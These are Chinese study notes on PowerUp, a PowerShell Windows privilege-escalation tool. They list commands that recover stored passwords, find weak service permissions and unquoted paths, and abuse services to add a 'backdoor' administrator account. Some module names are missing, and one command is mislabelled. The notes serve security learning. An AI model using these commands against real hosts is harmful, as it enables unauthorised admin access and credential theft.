《web安全攻防》学习笔记
Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多用来寻找目标主机windows服务漏洞进行提权的实用脚本
首先我们来看下Powerup下都有哪些模块,如下图所示。
把PowerUp脚本模块加载到本机,就可以直接输入Import-Module 命令加载PowerUp脚本模块
更改执行策略
PS C:\Windows\system32> Set-ExecutionPolicy Unrestricted
PS C:\Windows\system32> Get-ExecutionPolicy
Unrestricted
加载PowerUp脚本模块
PS C:\Windows\system32> Import-Module C:\PowerUp.ps1
查看模块的详细说明
输入命令可以通过Tab键来自动补全,如果查看各个模块的详细说明,可以输入get-help[cmdlet] -full 命令查看,比如get-Help Invoke-AllChecks -full
,如图所示:
下面对PowerUp常用模块进行介绍:
该模块会自动执行PowerUp所有的脚本来检查目标主机,输出以下命令即可执行该模块。
PS C:\> Invoke-AllChecks
该模块用于检查当前%PATH%的哪些目录是用户可以写入的,输入以下命令即可执行该模块。
PS C:\> Invoke-AllChecks
该模块可以利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码,执行该模块的命令如下所示:
get-ApplicationHost
get-ApplicationHost | Format-Table -Autosize #列表显示
该模块用于检查AlwaysInstallElevated注册表是否被设置,如果已被设置,意味着MSI文件是以system权限运行的,执行该模块的命令如下:
PS C:\> get-RegistryAlwaysInstallElevated
该模块用于检测winlogin注册表中的AutoAdminLogon项有没有被设置,可查询默认的用户名和密码,执行该模块的命令如下所示:
PS C:\> get-RegistryAutoLogon
该模块用于返回某服务的信息,输入以下命令即可执行该模块
PS C:\> get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
该模块用于检查当前用户能够在哪些服务的目录写入相关联的可执行文件,我们可通过这些文件实现提权,输入以下命令即可执行该模块。
PS C:\>Get-ServiceFilePermission
该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象,执行该模块的命令如下所示。
Test-ServiceDaclPermission
该模块用于检查服务路径,返回包含空格但是不带引号的服务路径。
此处利用了Windows的一个逻辑漏洞,即当文件包含空格时,Windows API会被解释为2个路径,并将这两个文件同时执行,有时可能会造成权限的提升,比如C:\program files\hello.exe会被解释为C:\program.exe和C:\program files\hello.exe。输入以下命令即可执行该模块。
检查空格路径的漏洞
PS C:\> Get-ServiceUnquoted
该模块用于检查以下路径,查找是否存在这个文件,因为这些文件里可能含有部署凭据。这些文件包含:
执行该模块的命令如下。
PS C:\Windows\system32> Get-UnattendedInstallFile
该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径。被检查的注册表键值有以下这些:
输入以下命令即可执行模块
PS C:\> Get-ModifiableRegistryAutoRun
该模块用于返回当前用户能够修改的计划任务程序的名称和路径,输入以下命令即可执行该模块。
PS C:\Windows\system32> Get-ModifiableScheduledTaskFile
模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文,输入以下命令即可执行该模块。
PS C:\> Get-webconfig #检查web.config中的数据库
该模块通过修改服务来添加用户到指定组,并可以通过设置-cmd参数触发添加用户的自定义命令,执行该模块的命令如下所示。
PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC #添加默认账号
PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC -USerName "TESTLAB\john" #指定添加的域账号
PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC -USerName backdoor -Password password -LocalGroup "Administrators" #指定添加用户,用户密码以及添加的用户组
PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net......" #自定义执行命令
该模块用于恢复服务的可执行文件到原始目录,执行该模块的命令如下所示。
PS C:\> Restore-ServiceBinary -ServiceName VulnSVC
该模块用于检查某个用户是否在服务中有自由访问控制的权限,结果会返回true或false,执行该模块的命令如下所示。
Test-ServiceDaclPermission
该模块用于输出一个自定义命令并且能够自我删除的bat文件到$env:Tenp\debug.bat,并输出一个能够启动这个bat文件的DLL。
该模块用于生成一个安装文件,运行这个安装文件后会弹出添加用户的对话框,输入以下命令即可执行该模块。
PS C:\Windows\system32> Write-UserAddMSI
该模块用于预编译C#服务的可执行文件,默认创建一个管理员账号,可通过command定制自己的命令,执行该模块的命令如下所示。
PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC #添加默认账号
PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" #指定添加的域账号
PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password password123! -LocalGroup "Administrators" #指定添加用户,用户密码以及添加的用户组
PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC -Command "net......" #自定义执行命令
该模块通过Write-ServiceBinary写一个C#的服务用来添加用户,执行该模块的命令如下所示。
PS C:\Windows\system32> Install-ServiceBinary -ServiceName DHCP
PS C:\Windows\system32> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john"
PS C:\Windows\system32> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password password123!
PS C:\Windows\system32> Install-ServiceBinary -ServiceName VulnSVC -Command "net......"
Write-ServiceBinary与Install-ServiceBinary的区别是,前者生成可执行文件,后者直接安装服务。